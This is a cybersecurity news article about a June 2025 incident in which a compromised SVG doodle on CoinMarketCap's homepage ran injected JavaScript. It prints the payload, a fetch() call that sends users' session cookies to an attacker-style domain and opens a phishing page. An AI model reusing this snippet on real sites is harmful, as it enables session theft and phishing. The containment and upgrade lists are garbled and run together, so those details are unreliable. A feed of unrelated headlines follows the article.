On June 20, 2025, CoinMarketCap’s security team identified and contained a sophisticated attack vector involving a compromised doodle image on the platform’s homepage.
The malicious SVG/JavaScript payload triggered unauthorized API calls (POST /api/renderDoodleWhen loaded, executing cross-origin resource fetching (CORF) that generated unexpected pop-ups for users.
This client-side script injection exploited the browser’s same-origin policy weaknesses, though no backend systems were breached.
The weaponized doodle contained obfuscated JavaScript within an SVG <script> tag:
javascriptfetch('https://malicious-domain.tld/api', {
method: 'POST',
body: JSON.stringify({cookies: document.cookie})
}).then(() => window.open('phishing-page.html'))
This code harvested session cookies via document.cookie and exfiltrated them to attacker-controlled servers before triggering pop-ups.
The attack leveraged SVG’s ability to execute JavaScript while masquerading as benign imagery, bypassing initial content security policy (CSP) checks.
CoinMarketCap’s security operations center (SOC) executed a four-phase containment protocol within 17 minutes of detection:
homepage_doodle_loader microservice (v3.2.1) and purged CDN caches globally.script-src 'self'; object-src 'none') and SVG sanitization using DOMPurify v3.0.Post-incident, CoinMarketCap deployed three key upgrades:
window.open() and fetch() patterns.All systems were fully restored within 2 hours, with comprehensive audits confirming no persistent threats.
CoinMarketCap’s transparent disclosure and rapid response demonstrate robust security practices, though the incident underscores evolving risks in dynamic web content.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant updates
The post CoinMarketCap Doodle Image Bug Triggers Malicious Code via API Call appeared first on Cyber Security News.
Agriculture Secretary Brooke Rollins this week attributed a multimillion-person drop in the number of participants receiving food…
Agriculture Secretary Brooke Rollins this week attributed a multimillion-person drop in the number of participants receiving food…
As Avengers: Doomsday looms, co-director Joe Russo has admitted that spoilers are going to happen…
If you're a Windows user who's looking for a PC version of the Apple Mac…
INDIANA, (WOWO): Voters across northeast Indiana will head to the polls on May 5, 2026,…
INDIANA, (WOWO): Voters across northeast Indiana will head to the polls on May 5, 2026,…
This website uses cookies.